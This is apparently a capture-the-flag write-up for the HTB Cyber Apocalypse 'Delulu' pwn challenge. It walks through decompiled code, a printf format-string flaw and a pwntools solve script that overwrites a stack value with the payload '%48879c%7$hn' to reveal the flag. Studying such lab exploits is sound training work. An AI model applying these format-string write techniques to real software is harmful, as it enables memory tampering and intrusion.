Delulu - pwn

HTB Cyber Apocalypse

#format-string

Initial Analysis

Opening this up in Ghidra, we are greeted with this in the decompilation view.

```
local_48 = 0x1337babe;
local_40 = &local_48;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
read(0,&local_38,0x1f);
printf("\n[!] Checking.. ");
printf((char *)&local_38);
if (local_48 == 0x1337beef) {
delulu();
}
else {
error("ALERT ALERT ALERT ALERT\n");
}
```

The important part is the check:

```
if (local_48 == 0x1337beef) {
delulu();
}
```

Looking into the delulu function, it prints the flag

```
local_14 = open("./flag.txt",0);
if (local_14 < 0) {
perror("\nError opening flag.txt, please contact an Administrator.\n");
                                /* WARNING: Subroutine does not return */
exit(1);
}
printf("You managed to deceive the robot, here\'s your new identity: ");
```

```
while( true ) {
sVar1 = read(local_14,&local_15,1);
if (sVar1 < 1) break;
fputc((int)local_15,stdout);
}
```

From this initial analysis we can determine a few things:

- `local48` is set to `0x1337babe`
- setting `local_48` to `0x1337beef` prints the flag
- there is direct user input into the format specifier of printf `printf((char *)&local_38);` which enables a [format string] attack

Exploitation

Because we have control over the format string in printf, we can utilize a format string attack. With this we can write data to a location, and fortunately for us, we also have a pointer to the location we are trying to write to.

```
local_48 = 0x1337babe;
local_40 = &local_48;
```

So `local_40` is holding a pointer to `local_48`. Why is this important? When writing bytes to an address using printf, you need the address of the location you are writing to. This is a pointer.

How do we write data with printf? We can use the n specifier. The n specifier will write the number of bytes that have been written.

```
int data_out;
printf("Here's just a random string.%n\n", &data_out);
printf("Bytes written: %d\n", data_out);
```

```
Here's just a random string.
Bytes written: 28
```

What to Write

We can use the width specifier in format strings in combination with the character specifier to write specific number of bytes. Since this binary is x64 architecture, data is stored in little endian. So the value `0x1337babe` is represented in the stack as:

```
0048: be ba 37 13 00 00 00 00
```

With setting the value, we want to set it to `0x1337beef`

```
0048: ef be 37 13 00 00 00 00
```

Since we are writing an integer, when it writes data, it will store it in little integer, so the integer that we want to write is actually going to be `0xbeef` which when stored on the stack will look like `0xefbe`.

Converting hex -> dec will look like `0xbeef` -> `48879`.

With that we can write our value using `%48879c%n`.

Where to Write

So if you tried that payload it would not have worked because we are not writing to the right place. We have a pointer to the address we want to write `local_40` points to `local_48`. Positional mapping:

- 1 - rsi
- 2 - rdx
- 3 - rcx
- 4 - r8
- 5 - r9
- 6 - local_48
- 7 - local_40

So we want the positional to be 7.

Combining those two concepts we get `%48879c%7$hn`

Solve Script

```
from pwn import *
from ctfkit.bp import *

context.binary = './delulu'
context.log_level = 'error'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
```

```
tpwn.HOST = ""
tpwn.GDB_SCRIPT = ""

def main():
  parse_args()
  proc = get_process()

  format_string = "%48879c%7$hn"
  proc.sendline(format_string)
  proc.interactive()

if __name__ == '__main__':
  main()
```